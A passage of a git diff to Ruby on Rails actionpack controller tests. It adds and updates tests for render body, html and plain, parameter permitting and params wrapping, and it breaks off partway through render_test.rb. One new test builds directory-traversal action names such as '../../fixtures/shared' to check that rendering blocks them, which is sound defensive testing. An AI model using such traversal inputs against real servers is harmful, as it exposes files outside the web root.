-class FlashResponder < ActionController::Responder
-  def initialize(controller, resources, options={})
-    super
-  end
-
-  def to_html
-    controller.flash[:notice] = 'Success'
-    super
-  end
-end
-
-class FlashResponderController < ActionController::Base
-  self.responder = FlashResponder
-  respond_to :html
-
-  def index
-    respond_with Object.new do |format|
-      format.html { render :text => 'HTML' }
-    end
-  end
-end
-
-class FlashResponderControllerTest < ActionController::TestCase
-  tests FlashResponderController
-
-  def test_respond_with_block_executed
-    get :index
-    assert_equal 'HTML', @response.body
-  end
-
-  def test_flash_responder_executed
-    get :index
-    assert_equal 'Success', flash[:notice]
-  end
-end
diff --git a/actionpack/test/controller/new_base/render_body_test.rb b/actionpack/test/controller/new_base/render_body_test.rb
new file mode 100644
index 0000000..fad8483
--- /dev/null
+++ b/actionpack/test/controller/new_base/render_body_test.rb
@@ -0,0 +1,170 @@
+require 'abstract_unit'
+
+module RenderBody
+  class MinimalController < ActionController::Metal
+    include AbstractController::Rendering
+    include ActionController::Rendering
+
+    def index
+      render body: "Hello World!"
+    end
+  end
+
+  class SimpleController < ActionController::Base
+    self.view_paths = [ActionView::FixtureResolver.new]
+
+    def index
+      render body: "hello david"
+    end
+  end
+
+  class WithLayoutController < ::ApplicationController
+    self.view_paths = [ActionView::FixtureResolver.new(
+      "layouts/application.erb" => "<%= yield %>, I'm here!",
+      "layouts/greetings.erb"   => "<%= yield %>, I wish thee well.",
+      "layouts/ivar.erb"        => "<%= yield %>, <%= @ivar %>"
+    )]
+
+    def index
+      render body: "hello david"
+    end
+
+    def custom_code
+      render body: "hello world", status: 404
+    end
+
+    def with_custom_code_as_string
+      render body: "hello world", status: "404 Not Found"
+    end
+
+    def with_nil
+      render body: nil
+    end
+
+    def with_nil_and_status
+      render body: nil, status: 403
+    end
+
+    def with_false
+      render body: false
+    end
+
+    def with_layout_true
+      render body: "hello world", layout: true
+    end
+
+    def with_layout_false
+      render body: "hello world", layout: false
+    end
+
+    def with_layout_nil
+      render body: "hello world", layout: nil
+    end
+
+    def with_custom_layout
+      render body: "hello world", layout: "greetings"
+    end
+
+    def with_custom_content_type
+      response.headers['Content-Type'] = 'application/json'
+      render body: '["troll","face"]'
+    end
+
+    def with_ivar_in_layout
+      @ivar = "hello world"
+      render body: "hello world", layout: "ivar"
+    end
+  end
+
+  class RenderBodyTest < Rack::TestCase
+    test "rendering body from a minimal controller" do
+      get "/render_body/minimal/index"
+      assert_body "Hello World!"
+      assert_status 200
+    end
+
+    test "rendering body from an action with default options renders the body with the layout" do
+      with_routing do |set|
+        set.draw { get ':controller', action: 'index' }
+
+        get "/render_body/simple"
+        assert_body "hello david"
+        assert_status 200
+      end
+    end
+
+    test "rendering body from an action with default options renders the body without the layout" do
+      with_routing do |set|
+        set.draw { get ':controller', action: 'index' }
+
+        get "/render_body/with_layout"
+
+        assert_body "hello david"
+        assert_status 200
+      end
+    end
+
+    test "rendering body, while also providing a custom status code" do
+      get "/render_body/with_layout/custom_code"
+
+      assert_body "hello world"
+      assert_status 404
+    end
+
+    test "rendering body with nil returns an empty body padded for Safari" do
+      get "/render_body/with_layout/with_nil"
+
+      assert_body " "
+      assert_status 200
+    end
+
+    test "Rendering body with nil and custom status code returns an empty body padded for Safari and the status" do
+      get "/render_body/with_layout/with_nil_and_status"
+
+      assert_body " "
+      assert_status 403
+    end
+
+    test "rendering body with false returns the string 'false'" do
+      get "/render_body/with_layout/with_false"
+
+      assert_body "false"
+      assert_status 200
+    end
+
+    test "rendering body with layout: true" do
+      get "/render_body/with_layout/with_layout_true"
+
+      assert_body "hello world, I'm here!"
+      assert_status 200
+    end
+
+    test "rendering body with layout: 'greetings'" do
+      get "/render_body/with_layout/with_custom_layout"
+
+      assert_body "hello world, I wish thee well."
+      assert_status 200
+    end
+
+    test "specified content type should not be removed" do
+      get "/render_body/with_layout/with_custom_content_type"
+
+      assert_equal %w{ troll face }, JSON.parse(response.body)
+      assert_equal 'application/json', response.headers['Content-Type']
+    end
+
+    test "rendering body with layout: false" do
+      get "/render_body/with_layout/with_layout_false"
+
+      assert_body "hello world"
+      assert_status 200
+    end
+
+    test "rendering body with layout: nil" do
+      get "/render_body/with_layout/with_layout_nil"
+
+      assert_body "hello world"
+      assert_status 200
+    end
+  end
+end
diff --git a/actionpack/test/controller/new_base/render_html_test.rb b/actionpack/test/controller/new_base/render_html_test.rb
new file mode 100644
index 0000000..bfe0271
--- /dev/null
+++ b/actionpack/test/controller/new_base/render_html_test.rb
@@ -0,0 +1,190 @@
+require 'abstract_unit'
+
+module RenderHtml
+  class MinimalController < ActionController::Metal
+    include AbstractController::Rendering
+    include ActionController::Rendering
+
+    def index
+      render html: "Hello World!"
+    end
+  end
+
+  class SimpleController < ActionController::Base
+    self.view_paths = [ActionView::FixtureResolver.new]
+
+    def index
+      render html: "hello david"
+    end
+  end
+
+  class WithLayoutController < ::ApplicationController
+    self.view_paths = [ActionView::FixtureResolver.new(
+      "layouts/application.html.erb" => "<%= yield %>, I'm here!",
+      "layouts/greetings.html.erb"   => "<%= yield %>, I wish thee well.",
+      "layouts/ivar.html.erb"        => "<%= yield %>, <%= @ivar %>"
+    )]
+
+    def index
+      render html: "hello david"
+    end
+
+    def custom_code
+      render html: "hello world", status: 404
+    end
+
+    def with_custom_code_as_string
+      render html: "hello world", status: "404 Not Found"
+    end
+
+    def with_nil
+      render html: nil
+    end
+
+    def with_nil_and_status
+      render html: nil, status: 403
+    end
+
+    def with_false
+      render html: false
+    end
+
+    def with_layout_true
+      render html: "hello world", layout: true
+    end
+
+    def with_layout_false
+      render html: "hello world", layout: false
+    end
+
+    def with_layout_nil
+      render html: "hello world", layout: nil
+    end
+
+    def with_custom_layout
+      render html: "hello world", layout: "greetings"
+    end
+
+    def with_ivar_in_layout
+      @ivar = "hello world"
+      render html: "hello world", layout: "ivar"
+    end
+
+    def with_unsafe_html_tag
+      render html: "<p>hello world</p>", layout: nil
+    end
+
+    def with_safe_html_tag
+      render html: "<p>hello world</p>".html_safe, layout: nil
+    end
+  end
+
+  class RenderHtmlTest < Rack::TestCase
+    test "rendering text from a minimal controller" do
+      get "/render_html/minimal/index"
+      assert_body "Hello World!"
+      assert_status 200
+    end
+
+    test "rendering text from an action with default options renders the text with the layout" do
+      with_routing do |set|
+        set.draw { get ':controller', action: 'index' }
+
+        get "/render_html/simple"
+        assert_body "hello david"
+        assert_status 200
+      end
+    end
+
+    test "rendering text from an action with default options renders the text without the layout" do
+      with_routing do |set|
+        set.draw { get ':controller', action: 'index' }
+
+        get "/render_html/with_layout"
+
+        assert_body "hello david"
+        assert_status 200
+      end
+    end
+
+    test "rendering text, while also providing a custom status code" do
+      get "/render_html/with_layout/custom_code"
+
+      assert_body "hello world"
+      assert_status 404
+    end
+
+    test "rendering text with nil returns an empty body padded for Safari" do
+      get "/render_html/with_layout/with_nil"
+
+      assert_body " "
+      assert_status 200
+    end
+
+    test "Rendering text with nil and custom status code returns an empty body padded for Safari and the status" do
+      get "/render_html/with_layout/with_nil_and_status"
+
+      assert_body " "
+      assert_status 403
+    end
+
+    test "rendering text with false returns the string 'false'" do
+      get "/render_html/with_layout/with_false"
+
+      assert_body "false"
+      assert_status 200
+    end
+
+    test "rendering text with layout: true" do
+      get "/render_html/with_layout/with_layout_true"
+
+      assert_body "hello world, I'm here!"
+      assert_status 200
+    end
+
+    test "rendering text with layout: 'greetings'" do
+      get "/render_html/with_layout/with_custom_layout"
+
+      assert_body "hello world, I wish thee well."
+      assert_status 200
+    end
+
+    test "rendering text with layout: false" do
+      get "/render_html/with_layout/with_layout_false"
+
+      assert_body "hello world"
+      assert_status 200
+    end
+
+    test "rendering text with layout: nil" do
+      get "/render_html/with_layout/with_layout_nil"
+
+      assert_body "hello world"
+      assert_status 200
+    end
+
+    test "rendering html should escape the string if it is not html safe" do
+      get "/render_html/with_layout/with_unsafe_html_tag"
+
+      assert_body "<p>hello world</p>"
+      assert_status 200
+    end
+
+    test "rendering html should not escape the string if it is html safe" do
+      get "/render_html/with_layout/with_safe_html_tag"
+
+      assert_body "<p>hello world</p>"
+      assert_status 200
+    end
+
+    test "rendering from minimal controller returns response with text/html content type" do
+      get "/render_html/minimal/index"
+      assert_content_type "text/html"
+    end
+
+    test "rendering from normal controller returns response with text/html content type" do
+      get "/render_html/simple/index"
+      assert_content_type "text/html; charset=utf-8"
+    end
+  end
+end
diff --git a/actionpack/test/controller/new_base/render_implicit_action_test.rb b/actionpack/test/controller/new_base/render_implicit_action_test.rb
index 1e2191d..5b4885f 100644
--- a/actionpack/test/controller/new_base/render_implicit_action_test.rb
+++ b/actionpack/test/controller/new_base/render_implicit_action_test.rb
@@ -6,7 +6,7 @@ module RenderImplicitAction
       "render_implicit_action/simple/hello_world.html.erb"     => "Hello world!",
       "render_implicit_action/simple/hyphen-ated.html.erb"     => "Hello hyphen-ated!",
       "render_implicit_action/simple/not_implemented.html.erb" => "Not Implemented"
-    )]
+    ), ActionView::FileSystemResolver.new(File.expand_path('../../../controller', __FILE__))]
 
     def hello_world() end
   end
@@ -33,10 +33,25 @@ module RenderImplicitAction
       assert_status 200
     end
 
+    test "render does not traverse the file system" do
+      assert_raises(AbstractController::ActionNotFound) do
+        action_name = %w(.. .. fixtures shared).join(File::SEPARATOR)
+        SimpleController.action(action_name).call(Rack::MockRequest.env_for("/"))
+      end
+    end
+
     test "available_action? returns true for implicit actions" do
       assert SimpleController.new.available_action?(:hello_world)
       assert SimpleController.new.available_action?(:"hyphen-ated")
       assert SimpleController.new.available_action?(:not_implemented)
     end
+
+    test "available_action? does not allow File::SEPARATOR on the name" do
+      action_name = %w(evil .. .. path).join(File::SEPARATOR)
+      assert_equal false, SimpleController.new.available_action?(action_name.to_sym)
+
+      action_name = %w(evil path).join(File::SEPARATOR)
+      assert_equal false, SimpleController.new.available_action?(action_name.to_sym)
+    end
   end
 end
diff --git a/actionpack/test/controller/new_base/render_plain_test.rb b/actionpack/test/controller/new_base/render_plain_test.rb
new file mode 100644
index 0000000..dba2e9f
--- /dev/null
+++ b/actionpack/test/controller/new_base/render_plain_test.rb
@@ -0,0 +1,168 @@
+require 'abstract_unit'
+
+module RenderPlain
+  class MinimalController < ActionController::Metal
+    include AbstractController::Rendering
+    include ActionController::Rendering
+
+    def index
+      render plain: "Hello World!"
+    end
+  end
+
+  class SimpleController < ActionController::Base
+    self.view_paths = [ActionView::FixtureResolver.new]
+
+    def index
+      render plain: "hello david"
+    end
+  end
+
+  class WithLayoutController < ::ApplicationController
+    self.view_paths = [ActionView::FixtureResolver.new(
+      "layouts/application.text.erb" => "<%= yield %>, I'm here!",
+      "layouts/greetings.text.erb"   => "<%= yield %>, I wish thee well.",
+      "layouts/ivar.text.erb"        => "<%= yield %>, <%= @ivar %>"
+    )]
+
+    def index
+      render plain: "hello david"
+    end
+
+    def custom_code
+      render plain: "hello world", status: 404
+    end
+
+    def with_custom_code_as_string
+      render plain: "hello world", status: "404 Not Found"
+    end
+
+    def with_nil
+      render plain: nil
+    end
+
+    def with_nil_and_status
+      render plain: nil, status: 403
+    end
+
+    def with_false
+      render plain: false
+    end
+
+    def with_layout_true
+      render plain: "hello world", layout: true
+    end
+
+    def with_layout_false
+      render plain: "hello world", layout: false
+    end
+
+    def with_layout_nil
+      render plain: "hello world", layout: nil
+    end
+
+    def with_custom_layout
+      render plain: "hello world", layout: "greetings"
+    end
+
+    def with_ivar_in_layout
+      @ivar = "hello world"
+      render plain: "hello world", layout: "ivar"
+    end
+  end
+
+  class RenderPlainTest < Rack::TestCase
+    test "rendering text from a minimal controller" do
+      get "/render_plain/minimal/index"
+      assert_body "Hello World!"
+      assert_status 200
+    end
+
+    test "rendering text from an action with default options renders the text with the layout" do
+      with_routing do |set|
+        set.draw { get ':controller', action: 'index' }
+
+        get "/render_plain/simple"
+        assert_body "hello david"
+        assert_status 200
+      end
+    end
+
+    test "rendering text from an action with default options renders the text without the layout" do
+      with_routing do |set|
+        set.draw { get ':controller', action: 'index' }
+
+        get "/render_plain/with_layout"
+
+        assert_body "hello david"
+        assert_status 200
+      end
+    end
+
+    test "rendering text, while also providing a custom status code" do
+      get "/render_plain/with_layout/custom_code"
+
+      assert_body "hello world"
+      assert_status 404
+    end
+
+    test "rendering text with nil returns an empty body padded for Safari" do
+      get "/render_plain/with_layout/with_nil"
+
+      assert_body " "
+      assert_status 200
+    end
+
+    test "Rendering text with nil and custom status code returns an empty body padded for Safari and the status" do
+      get "/render_plain/with_layout/with_nil_and_status"
+
+      assert_body " "
+      assert_status 403
+    end
+
+    test "rendering text with false returns the string 'false'" do
+      get "/render_plain/with_layout/with_false"
+
+      assert_body "false"
+      assert_status 200
+    end
+
+    test "rendering text with layout: true" do
+      get "/render_plain/with_layout/with_layout_true"
+
+      assert_body "hello world, I'm here!"
+      assert_status 200
+    end
+
+    test "rendering text with layout: 'greetings'" do
+      get "/render_plain/with_layout/with_custom_layout"
+
+      assert_body "hello world, I wish thee well."
+      assert_status 200
+    end
+
+    test "rendering text with layout: false" do
+      get "/render_plain/with_layout/with_layout_false"
+
+      assert_body "hello world"
+      assert_status 200
+    end
+
+    test "rendering text with layout: nil" do
+      get "/render_plain/with_layout/with_layout_nil"
+
+      assert_body "hello world"
+      assert_status 200
+    end
+
+    test "rendering from minimal controller returns response with text/plain content type" do
+      get "/render_plain/minimal/index"
+      assert_content_type "text/plain"
+    end
+
+    test "rendering from normal controller returns response with text/plain content type" do
+      get "/render_plain/simple/index"
+      assert_content_type "text/plain; charset=utf-8"
+    end
+  end
+end
diff --git a/actionpack/test/controller/new_base/render_streaming_test.rb b/actionpack/test/controller/new_base/render_streaming_test.rb
index f4bdd3e..4c9126c 100644
--- a/actionpack/test/controller/new_base/render_streaming_test.rb
+++ b/actionpack/test/controller/new_base/render_streaming_test.rb
@@ -4,7 +4,7 @@ module RenderStreaming
   class BasicController < ActionController::Base
     self.view_paths = [ActionView::FixtureResolver.new(
       "render_streaming/basic/hello_world.html.erb" => "Hello world",
-      "render_streaming/basic/boom.html.erb" => "<%= nil.invalid! %>",
+      "render_streaming/basic/boom.html.erb" => "<%= raise 'Ruby was here!' %>",
       "layouts/application.html.erb" => "<%= yield %>, I'm here!",
       "layouts/boom.html.erb" => "<body class=\"<%= nil.invalid! %>\"<%= yield %></body>"
     )]
@@ -90,9 +90,9 @@ module RenderStreaming
       begin
         get "/render_streaming/basic/template_exception"
         io.rewind
-        assert_match "(undefined method `invalid!' for nil:NilClass)", io.read
+        assert_match "Ruby was here!", io.read
       ensure
-        ActionController::Base.logger = _old
+        ActionView::Base.logger = _old
       end
     end
 
diff --git a/actionpack/test/controller/new_base/render_template_test.rb b/actionpack/test/controller/new_base/render_template_test.rb
index 6b2ae2b..b7a9cf9 100644
--- a/actionpack/test/controller/new_base/render_template_test.rb
+++ b/actionpack/test/controller/new_base/render_template_test.rb
@@ -14,7 +14,7 @@ module RenderTemplate
       "test/with_json.html.erb"    => "<%= render :template => 'test/with_json', :formats => [:json] %>",
       "test/with_json.json.erb"    => "<%= render :template => 'test/final', :formats => [:json]  %>",
       "test/final.json.erb"        => "{ final: json }",
-      "test/with_error.html.erb"   => "<%= idontexist %>"
+      "test/with_error.html.erb"   => "<%= raise 'i do not exist' %>"
     )]
 
     def index
@@ -132,7 +132,7 @@ module RenderTemplate
     test "rendering a template with error properly excerts the code" do
       get :with_error
       assert_status 500
-      assert_match "undefined local variable or method `idontexist", response.body
+      assert_match "i do not exist", response.body
     end
   end
 
diff --git a/actionpack/test/controller/new_base/render_text_test.rb b/actionpack/test/controller/new_base/render_text_test.rb
index d6c3926..abb81d7 100644
--- a/actionpack/test/controller/new_base/render_text_test.rb
+++ b/actionpack/test/controller/new_base/render_text_test.rb
@@ -1,11 +1,20 @@
 require 'abstract_unit'
 
 module RenderText
+  class MinimalController < ActionController::Metal
+    include AbstractController::Rendering
+    include ActionController::Rendering
+
+    def index
+      render text: "Hello World!"
+    end
+  end
+
   class SimpleController < ActionController::Base
     self.view_paths = [ActionView::FixtureResolver.new]
 
     def index
-      render :text => "hello david"
+      render text: "hello david"
     end
   end
 
@@ -17,55 +26,61 @@ module RenderText
     )]
 
     def index
-      render :text => "hello david"
+      render text: "hello david"
     end
 
     def custom_code
-      render :text => "hello world", :status => 404
+      render text: "hello world", status: 404
     end
 
     def with_custom_code_as_string
-      render :text => "hello world", :status => "404 Not Found"
+      render text: "hello world", status: "404 Not Found"
     end
 
     def with_nil
-      render :text => nil
+      render text: nil
     end
 
     def with_nil_and_status
-      render :text => nil, :status => 403
+      render text: nil, status: 403
     end
 
     def with_false
-      render :text => false
+      render text: false
     end
 
     def with_layout_true
-      render :text => "hello world", :layout => true
+      render text: "hello world", layout: true
     end
 
     def with_layout_false
-      render :text => "hello world", :layout => false
+      render text: "hello world", layout: false
     end
 
     def with_layout_nil
-      render :text => "hello world", :layout => nil
+      render text: "hello world", layout: nil
     end
 
     def with_custom_layout
-      render :text => "hello world", :layout => "greetings"
+      render text: "hello world", layout: "greetings"
     end
 
     def with_ivar_in_layout
       @ivar = "hello world"
-      render :text => "hello world", :layout => "ivar"
+      render text: "hello world", layout: "ivar"
     end
   end
 
   class RenderTextTest < Rack::TestCase
+    test "rendering text from a minimal controller" do
+      get "/render_text/minimal/index"
+      assert_body "Hello World!"
+      assert_status 200
+    end
+
     test "rendering text from an action with default options renders the text with the layout" do
       with_routing do |set|
-        set.draw { get ':controller', :action => 'index' }
+        set.draw { get ':controller', action: 'index' }
 
         get "/render_text/simple"
         assert_body "hello david"
@@ -75,7 +90,7 @@ module RenderText
 
     test "rendering text from an action with default options renders the text without the layout" do
       with_routing do |set|
-        set.draw { get ':controller', :action => 'index' }
+        set.draw { get ':controller', action: 'index' }
 
         get "/render_text/with_layout"
 
@@ -112,28 +127,28 @@ module RenderText
       assert_status 200
     end
 
-    test "rendering text with :layout => true" do
+    test "rendering text with layout: true" do
       get "/render_text/with_layout/with_layout_true"
 
       assert_body "hello world, I'm here!"
       assert_status 200
     end
 
-    test "rendering text with :layout => 'greetings'" do
+    test "rendering text with layout: 'greetings'" do
       get "/render_text/with_layout/with_custom_layout"
 
       assert_body "hello world, I wish thee well."
       assert_status 200
     end
 
-    test "rendering text with :layout => false" do
+    test "rendering text with layout: false" do
       get "/render_text/with_layout/with_layout_false"
 
       assert_body "hello world"
       assert_status 200
     end
 
-    test "rendering text with :layout => nil" do
+    test "rendering text with layout: nil" do
       get "/render_text/with_layout/with_layout_nil"
 
       assert_body "hello world"
diff --git a/actionpack/test/controller/parameters/parameters_permit_test.rb b/actionpack/test/controller/parameters/parameters_permit_test.rb
index 84e007b..33a91d7 100644
--- a/actionpack/test/controller/parameters/parameters_permit_test.rb
+++ b/actionpack/test/controller/parameters/parameters_permit_test.rb
@@ -8,9 +8,16 @@ class ParametersPermitTest < ActiveSupport::TestCase
   end
 
   setup do
-    @params = ActionController::Parameters.new({ person: {
-      age: "32", name: { first: "David", last: "Heinemeier Hansson" }
-    }})
+    @params = ActionController::Parameters.new(
+      person: {
+        age: '32',
+        name: {
+          first: 'David',
+          last: 'Heinemeier Hansson'
+        },
+        addresses: [{city: 'Chicago', state: 'Illinois'}]
+      }
+    )
 
     @struct_fields = []
     %w(0 1 12).each do |number|
@@ -147,6 +154,24 @@ class ParametersPermitTest < ActiveSupport::TestCase
     assert_equal :foo, e.param
   end
 
+  test "fetch with a default value of a hash does not mutate the object" do
+    params = ActionController::Parameters.new({})
+    params.fetch :foo, {}
+    assert_equal nil, params[:foo]
+  end
+
+  test 'hashes in array values get wrapped' do
+    params = ActionController::Parameters.new(foo: [{}, {}])
+    params[:foo].each do |hash|
+      assert !hash.permitted?
+    end
+  end
+
+  test 'arrays are converted at most once' do
+    params = ActionController::Parameters.new(foo: [{}])
+    assert params[:foo].equal?(params[:foo])
+  end
+
   test "fetch doesnt raise ParameterMissing exception if there is a default" do
     assert_equal "monkey", @params.fetch(:foo, "monkey")
     assert_equal "monkey", @params.fetch(:foo) { "monkey" }
@@ -215,6 +240,7 @@ class ParametersPermitTest < ActiveSupport::TestCase
     assert @params.permitted?
     assert @params[:person].permitted?
     assert @params[:person][:name].permitted?
+    assert @params[:person][:addresses][0].permitted?
   end
 
   test "permitted takes a default value when Parameters.permit_all_parameters is set" do
diff --git a/actionpack/test/controller/parameters/parameters_require_test.rb b/actionpack/test/controller/parameters/parameters_require_test.rb
deleted file mode 100644
index bdaba8d..0000000
--- a/actionpack/test/controller/parameters/parameters_require_test.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-require 'abstract_unit'
-require 'action_controller/metal/strong_parameters'
-
-class ParametersRequireTest < ActiveSupport::TestCase
-  test "required parameters must be present not merely not nil" do
-    assert_raises(ActionController::ParameterMissing) do
-      ActionController::Parameters.new(person: {}).require(:person)
-    end
-  end
-end
diff --git a/actionpack/test/controller/params_wrapper_test.rb b/actionpack/test/controller/params_wrapper_test.rb
index d87e2b8..11ccb6c 100644
--- a/actionpack/test/controller/params_wrapper_test.rb
+++ b/actionpack/test/controller/params_wrapper_test.rb
@@ -188,6 +188,26 @@ class ParamsWrapperTest < ActionController::TestCase
       assert_parameters({ 'username' => 'sikachu', 'title' => 'Developer', 'user' => { 'username' => 'sikachu', 'title' => 'Developer' }})
     end
   end
+
+  def test_preserves_query_string_params
+    with_default_wrapper_options do
+      @request.env['CONTENT_TYPE'] = 'application/json'
+      get :parse, { 'user' => { 'username' => 'nixon' } }
+      assert_parameters(
+        {'user' => { 'username' => 'nixon' } }
+      )
+    end
+  end
+
+  def test_empty_parameter_set
+    with_default_wrapper_options do
+      @request.env['CONTENT_TYPE'] = 'application/json'
+      post :parse, {}
+      assert_parameters(
+        {'user' => { } }
+      )
+    end
+  end
 end
 
 class NamespacedParamsWrapperTest < ActionController::TestCase
diff --git a/actionpack/test/controller/record_identifier_test.rb b/actionpack/test/controller/record_identifier_test.rb
deleted file mode 100644
index ff5d7fd..0000000
--- a/actionpack/test/controller/record_identifier_test.rb
+++ /dev/null
@@ -1,34 +0,0 @@
-require 'abstract_unit'
-require 'controller/fake_models'
-
-class ControllerRecordIdentifierTest < ActiveSupport::TestCase
-  include ActionController::RecordIdentifier
-
-  def setup
-    @record = Comment.new
-  end
-
-  def test_dom_id_deprecation
-    assert_deprecated(/dom_id method will no longer be included by default in controllers/) do
-      dom_id(@record)
-    end
-  end
-
-  def test_dom_class_deprecation
-    assert_deprecated(/dom_class method will no longer be included by default in controllers/) do
-      dom_class(@record)
-    end
-  end
-
-  def test_dom_id_from_module_deprecation
-    assert_deprecated(/Calling ActionController::RecordIdentifier.dom_id is deprecated/) do
-      ActionController::RecordIdentifier.dom_id(@record)
-    end
-  end
-
-  def test_dom_class_from_module_deprecation
-    assert_deprecated(/Calling ActionController::RecordIdentifier.dom_class is deprecated/) do
-      ActionController::RecordIdentifier.dom_class(@record)
-    end
-  end
-end
diff --git a/actionpack/test/controller/render_js_test.rb b/actionpack/test/controller/render_js_test.rb
index f070109..d550422 100644
--- a/actionpack/test/controller/render_js_test.rb
+++ b/actionpack/test/controller/render_js_test.rb
@@ -22,7 +22,7 @@ class RenderJSTest < ActionController::TestCase
   tests TestController
 
   def test_render_vanilla_js
-    get :render_vanilla_js_hello
+    xhr :get, :render_vanilla_js_hello
     assert_equal "alert('hello')", @response.body
     assert_equal "text/javascript", @response.content_type
   end
diff --git a/actionpack/test/controller/render_json_test.rb b/actionpack/test/controller/render_json_test.rb
index 7c0a6bd..de8d1cb 100644
--- a/actionpack/test/controller/render_json_test.rb
+++ b/actionpack/test/controller/render_json_test.rb
@@ -100,13 +100,13 @@ class RenderJsonTest < ActionController::TestCase
   end
 
   def test_render_json_with_callback
-    get :render_json_hello_world_with_callback
+    xhr :get, :render_json_hello_world_with_callback
     assert_equal 'alert({"hello":"world"})', @response.body
     assert_equal 'text/javascript', @response.content_type
   end
 
   def test_render_json_with_custom_content_type
-    get :render_json_with_custom_content_type
+    xhr :get, :render_json_with_custom_content_type
     assert_equal '{"hello":"world"}', @response.body
     assert_equal 'text/javascript', @response.content_type
   end
diff --git a/actionpack/test/controller/render_test.rb b/actionpack/test/controller/render_test.rb
index fd83579..26806fb 100644
--- a/actionpack/test/controller/render_test.rb
+++ b/actionpack/test/controller/render_test.rb
@@ -2,26 +2,6 @@ require 'abstract_unit'
 require 'controller/fake_models'
 require 'pathname'
 
-module Fun
-  class GamesController < ActionController::Base
-    # :ported:
-    def hello_world
-    end
-
-    def nested_partial_with_form_builder
-      render :partial => ActionView::Helpers::FormBuilder.new(:post, nil, view_context, {})
-    end
-  end
-end
-
-module Quiz
-  class QuestionsController < ActionController::Base
-    def new
-      render :partial => Quiz::Question.new("Namespaced Partial")
-    end
-  end
-end
-
 class TestControllerWithExtraEtags < ActionController::Base
   etag { nil  }
   etag { 'ab' }
@@ -58,10 +38,6 @@ class TestController < ActionController::Base
   def hello_world
   end
 
-  def hello_world_file
-    render :file => File.expand_path("../../fixtures/hello", __FILE__), :formats => [:html]
-  end
-
   def conditional_hello
     if stale?(:last_modified => Time.now.utc.beginning_of_day, :etag => [:foo, 123])
       render :action => 'hello_world'
@@ -71,1479 +47,210 @@ class TestController < ActionController::Base
   def conditional_hello_with_record
     record = Struct.new(:updated_at, :cache_key).new(Time.now.utc.beginning_of_day, "foo/123")
 
-    if stale?(record)
-      render :action => 'hello_world'
-    end
-  end
-
-  def conditional_hello_with_public_header
-    if stale?(:last_modified => Time.now.utc.beginning_of_day, :etag => [:foo, 123], :public => true)
-      render :action => 'hello_world'
-    end
-  end
-
-  def conditional_hello_with_public_header_with_record
-    record = Struct.new(:updated_at, :cache_key).new(Time.now.utc.beginning_of_day, "foo/123")
-
-    if stale?(record, :public => true)
-      render :action => 'hello_world'
-    end
-  end
-
-  def conditional_hello_with_public_header_and_expires_at
-    expires_in 1.minute
-    if stale?(:last_modified => Time.now.utc.beginning_of_day, :etag => [:foo, 123], :public => true)
-      render :action => 'hello_world'
-    end
-  end
-
-  def conditional_hello_with_expires_in
-    expires_in 60.1.seconds
-    render :action => 'hello_world'
-  end
-
-  def conditional_hello_with_expires_in_with_public
-    expires_in 1.minute, :public => true
-    render :action => 'hello_world'
-  end
-
-  def conditional_hello_with_expires_in_with_must_revalidate
-    expires_in 1.minute, :must_revalidate => true
-    render :action => 'hello_world'
-  end
-
-  def conditional_hello_with_expires_in_with_public_and_must_revalidate
-    expires_in 1.minute, :public => true, :must_revalidate => true
-    render :action => 'hello_world'
-  end
-
-  def conditional_hello_with_expires_in_with_public_with_more_keys
-    expires_in 1.minute, :public => true, 's-maxage' => 5.hours
-    render :action => 'hello_world'
-  end
-
-  def conditional_hello_with_expires_in_with_public_with_more_keys_old_syntax
-    expires_in 1.minute, :public => true, :private => nil, 's-maxage' => 5.hours
-    render :action => 'hello_world'
-  end
-
-  def conditional_hello_with_expires_now
-    expires_now
-    render :action => 'hello_world'
-  end
-
-  def conditional_hello_with_cache_control_headers
-    response.headers['Cache-Control'] = 'no-transform'
-    expires_now
-    render :action => 'hello_world'
-  end
-
-  def conditional_hello_with_bangs
-    render :action => 'hello_world'
-  end
-  before_action :handle_last_modified_and_etags, :only=>:conditional_hello_with_bangs
-
-  def handle_last_modified_and_etags
-    fresh_when(:last_modified => Time.now.utc.beginning_of_day, :etag => [ :foo, 123 ])
-  end
-
-  # :ported:
-  def render_hello_world
-    render :template => "test/hello_world"
-  end
-
-  def render_hello_world_with_last_modified_set
-    response.last_modified = Date.new(2008, 10, 10).to_time
-    render :template => "test/hello_world"
-  end
-
-  # :ported: compatibility
-  def render_hello_world_with_forward_slash
-    render :template => "/test/hello_world"
-  end
-
-  # :ported:
-  def render_template_in_top_directory
-    render :template => 'shared'
-  end
-
-  # :deprecated:
-  def render_template_in_top_directory_with_slash
-    render :template => '/shared'
-  end
-
-  # :ported:
-  def render_hello_world_from_variable
-    @person = "david"
-    render :text => "hello #{@person}"
-  end
-
-  # :ported:
-  def render_action_hello_world
-    render :action => "hello_world"
-  end
-
-  def render_action_upcased_hello_world
-    render :action => "Hello_world"
-  end
-
-  def render_action_hello_world_as_string
-    render "hello_world"
-  end
-
-  def render_action_hello_world_with_symbol
-    render :action => :hello_world
-  end
-
-  # :ported:
-  def render_text_hello_world
-    render :text => "hello world"
-  end
-
-  # :ported:
-  def render_text_hello_world_with_layout
-    @variable_for_layout = ", I am here!"
-    render :text => "hello world", :layout => true
-  end
-
-  def hello_world_with_layout_false
-    render :layout => false
-  end
-
-  # :ported:
-  def render_file_with_instance_variables
-    @secret = 'in the sauce'
-    path = File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_ivar')
-    render :file => path
-  end
-
-  # :ported:
-  def render_file_as_string_with_instance_variables
-    @secret = 'in the sauce'
-    path = File.expand_path(File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_ivar'))
-    render path
-  end
-
-  # :ported:
-  def render_file_not_using_full_path
-    @secret = 'in the sauce'
-    render :file => 'test/render_file_with_ivar'
-  end
-
-  def render_file_not_using_full_path_with_dot_in_path
-    @secret = 'in the sauce'
-    render :file => 'test/dot.directory/render_file_with_ivar'
-  end
-
-  def render_file_using_pathname
-    @secret = 'in the sauce'
-    render :file => Pathname.new(File.dirname(__FILE__)).join('..', 'fixtures', 'test', 'dot.directory', 'render_file_with_ivar')
-  end
-
-  def render_file_from_template
-    @secret = 'in the sauce'
-    @path = File.expand_path(File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_ivar'))
-  end
-
-  def render_file_with_locals
-    path = File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_locals')
-    render :file => path, :locals => {:secret => 'in the sauce'}
-  end
-
-  def render_file_as_string_with_locals
-    path = File.expand_path(File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_locals'))
